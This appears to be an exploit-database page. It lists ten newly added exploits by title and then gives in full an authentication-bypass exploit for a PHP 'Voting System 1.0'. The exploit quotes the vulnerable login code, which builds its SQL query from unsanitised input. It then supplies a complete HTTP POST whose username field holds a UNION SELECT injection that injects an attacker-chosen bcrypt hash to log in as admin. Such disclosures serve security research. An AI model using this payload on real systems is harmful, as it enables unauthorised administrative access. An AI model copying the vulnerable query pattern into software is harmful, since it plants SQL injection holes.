e4f4680368
10 changes to exploits/shellcodes Sandboxie 5.49.7 - Denial of Service (PoC) Epic Games Easy Anti-Cheat 4.0 - Local Privilege Escalation Sandboxie Plus 0.7.4 - 'SbieSvc' Unquoted Service Path WifiHotSpot 1.0.0.0 - 'WifiHotSpotService.exe' Unquoted Service Path Epic Games Rocket League 1.95 - Stack Buffer Overrun Schlix CMS 2.2.6-6 - 'title' Persistent Cross-Site Scripting (Authenticated) Voting System 1.0 - Authentication Bypass (SQLI) Voting System 1.0 - Remote Code Execution (Unauthenticated) Human Resource Information System 0.1 - Remote Code Execution (Unauthenticated) PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection # Date: May 3rd 2021
60 lines
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2.3 KiB
Text
60 lines
No EOL
2.3 KiB
Text
# Exploit Title: Voting System 1.0 - Authentication Bypass (SQLI)
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# Date: 06/05/2021
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# Exploit Author: secure77
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# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
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# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
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# Version: 1.0
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# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB
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You can simply bypass the /admin/login.php with the following sql injection.
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All you need is a bcrypt hash that is equal with your random password, the username should NOT match with an existing
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########################### Vulnerable code ############################
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if(isset($_POST['login'])){
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$username = $_POST['username'];
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$password = $_POST['password'];
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$sql = "SELECT * FROM admin WHERE username = '$username'";
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$query = $conn->query($sql);
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if($query->num_rows < 1){
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$_SESSION['error'] = 'Cannot find account with the username';
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}
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else{
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$row = $query->fetch_assoc();
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echo "DB Password: " . $row['password'];
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echo "<br>";
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echo "<br>";
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echo "Input Password: " . $password;
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if(password_verify($password, $row['password'])){
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echo "Equal";
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$_SESSION['admin'] = $row['id'];
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}
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else{
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echo "not Equal";
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$_SESSION['error'] = 'Incorrect password';
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}
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}
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}
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else{
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$_SESSION['error'] = 'Input admin credentials first';
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}
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########################### Payload ############################
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POST /admin/login.php HTTP/1.1
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Host: 192.168.1.1
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DNT: 1
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
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Cookie: PHPSESSID=tliephrsj1d5ljhbvsbccnqmff
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 167
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login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- - |